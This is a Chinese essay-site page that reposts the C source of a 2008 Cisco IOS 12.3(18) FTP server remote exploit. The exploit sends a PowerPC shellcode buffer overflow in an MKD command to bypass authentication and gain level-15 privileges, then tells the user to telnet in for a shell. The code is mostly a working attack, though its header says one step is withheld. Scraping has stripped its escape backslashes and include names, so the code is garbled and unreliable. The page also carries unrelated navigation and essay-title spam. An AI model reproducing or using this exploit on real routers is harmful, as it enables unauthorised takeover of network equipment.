首页 爱情文章 亲情文章 友情文章 生活随笔 校园文章 经典文章 人生哲理 励志文章 搞笑文章 心情日记
  • 爱情文章
  • 亲情文章
  • 友情文章
  • 生活随笔
  • 校园文章
  • 经典文章
  • 人生哲理
  • 励志文章
  • 搞笑文章
  • 心情日记
  • 英语文章
  • 范文大全
  • 作文大全
  • 新闻阅读
    •
    当前位置: 山茶花美文网 > 励志文章 > 正文

    IOS11.4 Cisco,IOS,12.3(18),FTP,Server,Remote,Exploit,(attached,to,gdb)

    时间：2020-03-29来源：山茶花美文网 本文已影响 人 山茶花美文网手机站
    /*Cisco IOS FTP server remote exploit by Andy Davis 2008

    Cisco Advisory ID: cisco-sa-20070509-iosftp - May 2007

    Specific hard-coded addresses for IOS 12.3(18) on a 2621XM router

    Removes the requirement to authenticate and escalates to level 15

    *********************************************************************
    To protect the innocent a critical step has been omitted, which means
    the shellcode will only execute when the router is attached to gdb.
    I"m sure the PowerPC shellcoders out there will work it out...
    *********************************************************************

    Thanks to Gyan Chawdhary and Varun Uppal for all the hours they spent
    on the original IOS security research

    iosftpexploit googlemail "dot" com */#include
    #include
    #include
    #include #define PORT 21int main(int argc, char **argv)
    {
    unsigned char sendbuf[] ="MKD "/* .equ vty_info, 0x8182da60 # pointer to VTY info */
    /* .equ terminate, 0x80e4086c # kill a process */"x3cx80x81x83" /* lis 4,vty_info@ha */
    "x38x84xdax60" /* la 4,vty_info@l(4) */
    "x7dx08x42x78" /* xor 8,8,8 */
    "x7cxe4x40x2e" /* lwzx 7,4,8 */
    "x91x07x01x74" /* stw 8,372(7) */
    "x39x08xffxff" /* subi 8,8,1 */
    "x38xe7x09x1a" /* addi 7,7,233 */
    "x91x07x04xca" /* stw 8,1226(7) */
    "x7dx03x43x78" /* mr 3,8 */
    "x3cx80x80xe4" /* lis 4,terminate@ha */
    "x38x84x08x6c" /* la 4,terminate@l(4) */
    "x7cx89x03xa6" /* mtctr 4 */
    "x4ex80x04x20" /* bctr *//* exists cleanly without adversely affecting the FTP server */"x61x61x61x61" /* padding */
    "x61x61x61x61" /* padding */
    "x61x61x61x61" /* padding */
    "x61x61x61x61" /* padding */
    "x61x61x61x61" /* padding */
    "x61x61x61x61" /* padding */"x80x06x23xB8" /* return address */
    "x0dx0a";/* trampoline code */
    /* when the overflow occurs r26 0x14 points to the shellcode */
    /*
    0x800623B8 lwz 26, 20(26)
    0x800623BC mtctr 26
    0x800623C0 mr 3, 27
    0x800623C4 bctrl
    */unsigned char recvbuf[256];
    struct sockaddr_in servaddr;
    int s;if (argc != 2)
    {
    printf ("nCisco IOS FTP server remote exploit by Andy Davis 2008n"); printf ("nUsage: %s n",argv[0]);
    exit(-1);
    }servaddr.sin_family = AF_INET;
    servaddr.sin_addr.s_addr = inet_addr(argv[1]);
    servaddr.sin_port = htons(PORT);s = socket(AF_INET, SOCK_STREAM, 0);
    connect (s, (struct sockaddr *) &servaddr, sizeof(servaddr));
    printf ("nCisco IOS FTP server remote exploit by Andy Davis 2008n");
    printf ("Specific offsets for IOS 12.3(18) on a 2621XM routernn");
    printf ("Sending exploit...nn");if (send(s, sendbuf, sizeof(sendbuf)-1, 0) == 0)
    {
    printf("Error sending packet...quittingnn");
    exit (1);
    }
    recv (s, recvbuf, sizeof(recvbuf)-1,0);
    printf ("Now telnet to the router for a shell...nn");
    }

    • 爱情文章
    • 亲情文章
    • 友情文章
    • 随笔
    • 哲理
    • 励志
    • 范文大全

    最新文章

    热点文章

    推荐访问

    军训远足心得体会 军训爬山心得体会 大学军训徒步拉练感想 军训徒步作文 军训徒步10公里感想 军训徒步心得体会 5分钟演讲中秋节节日 中秋一分钟演讲 中秋节演讲稿4分钟 中秋节演讲稿一分钟 中秋节演讲稿五分钟 3-5分钟 中秋节短篇演讲稿 中秋节演讲稿两分钟 中秋节的演讲稿3分钟 关于中秋节的演讲稿三分钟 孩子体验军训的心得 参加孩子军训活动的感受与收获 家长对孩子军训后的收获和感悟 小孩军训的收获与感悟 学生军训的收获与感悟 孩子军训成长过程家长感悟 孩子军训感悟 孩子军训心得体会 孩子军训的收获与感悟 兵役前训练心得体会 部队当兵的心得 新兵役前教育训练心得体会 预备役军训心得体会 新兵军训感悟

    本文IOS11.4 Cisco,IOS,12.3(18),FTP,Server,Remote,Exploit,(attached,to,gdb)由山茶花美文网整理提供，版权归原作者、原出处所有。

    Copyright © 山茶花美文网 All Rights Reserved.